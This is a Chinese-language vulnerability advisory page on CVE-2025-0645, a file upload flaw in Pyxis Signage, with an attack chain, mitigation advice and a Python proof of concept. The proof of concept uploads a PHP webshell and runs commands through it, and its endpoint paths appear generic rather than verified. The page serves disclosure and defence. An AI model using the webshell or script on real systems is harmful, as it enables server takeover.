IPBUF安全漏洞报告
English
CVE-2025-0645 CVSS 7.2 高危

CVE-2025-0645 Pyxis Signage 危险类型文件上传漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-0645
漏洞类型
任意文件上传
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Pyxis Signage (by Narkom Communication and Software Technologies Trade Ltd. Co.)

相关标签

CVE-2025-0645任意文件上传远程代码执行Pyxis Signage高危漏洞Narkom危险类型文件上传ACL绕过

漏洞概述

CVE-2025-0645是Narkom Communication and Software Technologies Trade Ltd. Co.开发的Pyxis Signage数字标牌系统中存在的一个高危安全漏洞。该漏洞属于危险类型文件无限制上传(Unrestricted Upload of File with Dangerous Type),CVSS评分为7.2,属于高危级别。攻击者可以利用此漏洞上传恶意文件到服务器,从而实现远程代码执行(RCE),完全控制受影响的系统。此漏洞允许访问未正确受访问控制列表(ACL)约束的功能,攻击者无需用户交互即可发起攻击,但需要拥有高权限账户。漏洞影响范围涵盖截至2025年1月31日的所有Pyxis Signage版本。

技术细节

该漏洞存在于Pyxis Signage的文件上传功能模块中。系统未能对用户上传的文件类型进行充分的验证和限制,允许攻击者上传可执行的脚本文件(如PHP、JSP、ASP等)到服务器的可访问目录。攻击者通过构造恶意的文件上传请求,绕过客户端的文件类型检查,利用服务器端验证不足的缺陷,将webshell或其他恶意代码上传到目标系统。上传成功后,攻击者可以通过HTTP请求访问这些恶意文件,从而在服务器上执行任意命令,实现远程代码执行。由于漏洞涉及访问控制约束不当,攻击者能够访问本应受限的管理功能,进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
攻击者获取Pyxis Signage系统的高权限账户凭据
STEP 2
步骤2
攻击者构造包含恶意代码(如PHP webshell)的文件上传请求
STEP 3
步骤3
利用文件上传功能上传webshell到服务器可访问目录
STEP 4
步骤4
通过HTTP请求访问上传的webshell,执行任意系统命令
STEP 5
步骤5
实现远程代码执行,完全控制受影响的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-0645 PoC - Pyxis Signage Unrestricted File Upload # Target: Pyxis Signage through 31012025 TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/login" UPLOAD_URL = f"{TARGET_URL}/api/upload" # Malicious PHP webshell webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" def exploit(): # Step 1: Authenticate with high privileges session = requests.Session() login_data = { "username": "admin", # High privilege account "password": "password" } try: response = session.post(LOGIN_URL, json=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious file files = { "file": ("shell.php", webshell_content, "application/x-php") } upload_response = session.post(UPLOAD_URL, files=files, timeout=10) if upload_response.status_code == 200: print("[+] Malicious file uploaded successfully") # Step 3: Execute commands via webshell shell_url = f"{TARGET_URL}/uploads/shell.php" cmd_response = session.get(f"{shell_url}?cmd=whoami", timeout=10) if cmd_response.status_code == 200: print(f"[+] Remote Code Execution confirmed: {cmd_response.text}") return True else: print(f"[-] Upload failed: {upload_response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-0645 Pyxis Signage File Upload PoC") exploit()

影响范围

Pyxis Signage <= 31012025

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制文件上传功能的访问权限,仅允许受信任的管理员使用;2)配置Web服务器,阻止上传目录中的脚本文件执行;3)部署Web应用防火墙(WAF)规则,检测和拦截恶意文件上传行为;4)监控文件上传日志,及时发现异常上传行为;5)考虑暂时禁用非必要的文件上传功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表